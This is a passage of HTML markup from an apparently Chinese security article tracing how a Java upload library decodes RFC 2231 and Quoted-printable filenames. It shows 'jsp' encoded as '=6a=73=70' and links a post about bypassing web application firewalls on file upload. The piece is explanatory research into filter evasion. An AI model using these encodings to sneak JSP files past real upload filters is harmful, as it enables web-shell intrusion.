255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZAW1-1655695781203&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCE29b0935ae17f215467c904b9d1a3e59a&#34;,&#34;width&#34;:761,&#34;height&#34;:483},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCE29b0935ae17f215467c904b9d1a3e59a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:483},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MeZU-1655694963244&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tZ7S-1655694963243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;根据判断结果不同，decodeText使用的类分为RFC2231Utility与MimeUtility：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WfwP-1655708837501&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5wxH-1655708837496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;这里插入一个前置知识关于QP编码：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">这里有一个判断，判断的依据为传入的paramName是否以 &#34; * &#34;结尾（filename*）：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 761px;height: 483px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=f5573e75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3QOURSSIotHjdwlpuOibxPrFYQU2OX7fBK8dPM2Sm1c9EDViboNVqUIFg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);">根据判断结果不同，decodeText使用的类分为RFC2231Utility与MimeUtility：</span></p><p><span style="background-color: rgb(255, 255, 255);">在继续跟进之前插入一个前置知识关于QP编码：</span></p></article><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="148" data-source-title="https://y4tacker.github.io/2022/02/25/year/2022/2/Java文件上传大杀器-绕waf(针对commons-fileupload组件)/#成功的绕waf点"><section class="js_blockquote_digest"><p>Quoted-printable将任何8-bit字节值可编码为3个字符：一个等号”=”后跟随两个十六进制数字(0–9或A–F)表示该字节的数值。例如，ASCII码换页符（十进制值为12）可以表示为”=0C”， 等号”=”（十进制值为61）必须表示为”=3D”，gb2312下“中”表示为=D6=D0</p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A148%2C%22text%22%3A%22Quoted-printable%E5%B0%86%E4%BB%BB%E4%BD%958-bit%E5%AD%97%E8%8A%82%E5%80%BC%E5%8F%AF%E7%BC%96%E7%A0%81%E4%B8%BA3%E4%B8%AA%E5%AD%97%E7%AC%A6%EF%BC%9A%E4%B8%80%E4%B8%AA%E7%AD%89%E5%8F%B7%E2%80%9D%3D%E2%80%9D%E5%90%8E%E8%B7%9F%E9%9A%8F%E4%B8%A4%E4%B8%AA%E5%8D%81%E5%85%AD%E8%BF%9B%E5%88%B6%E6%95%B0%E5%AD%97(0%E2%80%939%E6%88%96A%E2%80%93F)%E8%A1%A8%E7%A4%BA%E8%AF%A5%E5%AD%97%E8%8A%82%E7%9A%84%E6%95%B0%E5%80%BC%E3%80%82%E4%BE%8B%E5%A6%82%EF%BC%8CASCII%E7%A0%81%E6%8D%A2%E9%A1%B5%E7%AC%A6%EF%BC%88%E5%8D%81%E8%BF%9B%E5%88%B6%E5%80%BC%E4%B8%BA12%EF%BC%89%E5%8F%AF%E4%BB%A5%E8%A1%A8%E7%A4%BA%E4%B8%BA%E2%80%9D%3D0C%E2%80%9D%EF%BC%8C%E7%AD%89%E5%8F%B7%E2%80%9D%3D%E2%80%9D%EF%BC%88%E5%8D%81%E8%BF%9B%E5%88%B6%E5%80%BC%E4%B8%BA61%EF%BC%89%E5%BF%85%E9%A1%BB%E8%A1%A8%E7%A4%BA%E4%B8%BA%E2%80%9D%3D3D%E2%80%9D%EF%BC%8Cgb2312%E4%B8%8B%E2%80%9C%E4%B8%AD%E2%80%9D%E8%A1%A8%E7%A4%BA%E4%B8%BA%3DD6%3DD0%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%5D%2C%22from%22%3A%22https%3A%2F%2Fy4tacker.github.io%2F2022%2F02%2F25%2Fyear%2F2022%2F2%2FJava%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%A4%A7%E6%9D%80%E5%99%A8-%E7%BB%95waf(%E9%92%88%E5%AF%B9commons-fileupload%E7%BB%84%E4%BB%B6)%2F%23%E6%88%90%E5%8A%9F%E7%9A%84%E7%BB%95waf%E7%82%B9%22%7D"><span class="blockquote_other"><a href="https://y4tacker.github.io/2022/02/25/year/2022/2/Java文件上传大杀器-绕waf(针对commons-fileupload组件)/#成功的绕waf点" target="_blank">https://y4tacker.github.io/2022/02/25/year/2022/2/Java文件上传大杀器-绕waf(针对commons-fileupload组件)/#成功的绕waf点</a></span></section></blockquote><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vMX8-1655708839689&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bauj-1655708839686&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;jsp\&#34;三个字符的ASCII为&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]},{&#34;text&#34;:&#34;\\u006a\\u0073\\u0070，QP编码表示就应为 \&#34;=6a=73=70\&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">&#34;jsp&#34;三个字符的ASCII为</span>\u006a\u0073\u0070，QP编码表示就应为 &#34;=6a=73=70&#34;。</p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hmOu-1655704931456&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X7hG-1655704931441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RFC2231Utility：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vO0Z-1655708067929&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/2/WEBRESOURCE6d8ca858b58273dbe7c39d332c1e6eb2&#34;,&#34;width&#34;:761,&#34;height&#34;:483},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/2/WEBRESOURCE6d8ca858b58273dbe7c39d332c1e6eb2&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:483},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SZ3p-1655704989333&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ja4Y-1655704989331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;查看RFC 2231文档我们可以看到其规则用例：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);font-weight: bold;font-size: 20px;">RFC2231Utility：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 761px;height: 483px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=e8aadf71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3Ny4ibaQbnOrF6PMn9tx5ntQjEGyiaBjRBNOHQZO6s1FaZ2xnBo9VcMZw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);">查看RFC 2231文档我们可以看到其规则用例：</span></p></article><p><img class="rich_pages wxw-img" data-ratio="0.6388499298737728" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 486px;" data-type="png" data-w="2852" src="https://wechat2rss.xlab.app/img-proxy/?k=edc838ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl34UJ0CuaUpgKrxnvJlibrg28MRtR2dG9k33G88pUTB3LCUJnfVpNFWzw%2F640%3Fwx_fmt%3Dpng"/></p></article><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qb1m-1655708140361&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sjfA-1655708140360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;查看其逻辑：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">查看其逻辑：</span></p></article><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 483px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=71ed2f0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3vpaWdPtFF1McZ5NgG7Jce9IicahQcxu6Yg7WGt5vCREvcic0ibZgeSlibg%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p></article><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="background-color: rgb(255, 255, 255);">以单引号&#34; &#39; &#34;为分隔符获取mimeCharset，encodedText，并且对后续字符串进行编码。</span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UlTF-1655711522204&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cuWK-1655711522202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;另外其中有一步fromHex操作：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">另外其中有一步fromHex操作：</span></p></article><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><img class="rich_pages wxw-img" data-ratio="0.39849624060150374" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 303px;" data-type="png" data-w="1862" src="https://wechat2rss.xlab.app/img-proxy/?k=cc536f10&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3sibprUnFQTmMVr57nzaoo6IYFpRqa34X9v4amlMibTyibAqPEd5uKeWicQ%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span><span style="background-color: rgb(255, 255, 255);"></span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g8sd-1655711480854&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DEvp-1655711480851&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;具体逻辑如下：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">具体逻辑如下：</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">byte</span>[] <span class="code-snippet__title">fromHex</span>(<span class="code-snippet__params">String text</span>)</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span> shift = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">    ByteArrayOutputStream <span class="code-snippet__keyword">out</span> = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream(text.length());</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span>(i &lt; text.length()) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">char</span> c = text.charAt(i++);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (c == <span class="code-snippet__string">&#39;%&#39;</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (i &gt; text.length() - <span class="code-snippet__number">2</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">byte</span> b1 = HEX_DECODE[text.charAt(i++) &amp; <span class="code-snippet__number">127</span>];</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">byte</span> b2 = HEX_DECODE[text.charAt(i++) &amp; <span class="code-snippet__number">127</span>];</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">out</span>.write(b1 &lt;&lt; <span class="code-snippet__number">4</span> | b2);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">out</span>.write((<span class="code-snippet__keyword">byte</span>)c);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">out</span>.toByteArray();</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zWOb-1655704967883&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zMB6-1655704967881&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;就是一个支持Hex解码的操作。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">就是一个支持Hex解码的操作。</span></p></article><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">    </span><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 527px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=acf7955a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3l23AW4iaK5LmTmrkhYN7NRuM0UzJWLfVYjFnxvxd8icGd2aU7yfmNnSQ%2F640%3Fwx_fmt%3Dpng"/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ey3R-1655711566927&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0cVA-1655711566926&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;文档中有一些支持的格式：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p>文档中有一些支持的格式：</p></article><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">
    </span><img class="rich_pages wxw-img" data-ratio="0.6388499298737728" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 486px;" data-type="png" data-w="2852" src="https://wechat2rss.xlab.app/img-proxy/?k=5544a858&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3ibaA1qf1A761iajMfDmy2FKx4FnwWsyFFJpBAe5LVuTKOYB8pU3aDUNg%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lW5J-1655711567090&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hHp7-1655711567089&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;但是tomcat的具体逻辑并未实现。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xwdg-1655714972172&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iwot-1655714972170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;jdk8标准库中支持的编码如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p>但是tomcat的具体逻辑并未实现。</p><p>jdk8标准库中支持的编码如下：</p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = Big5</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = Big5-HKSCS</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = CESU-<span class="code-snippet__number">8</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = EUC-JP</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = EUC-KR</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = GB18030</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = GB2312</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = GBK</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM-Thai</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM00858</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM01140</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM01141</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM01142</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM01143</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM01144</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM01145</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM01146</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM01147</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM01148</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM01149</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM037</span></code><code><span class="code-snippet_outer"><span 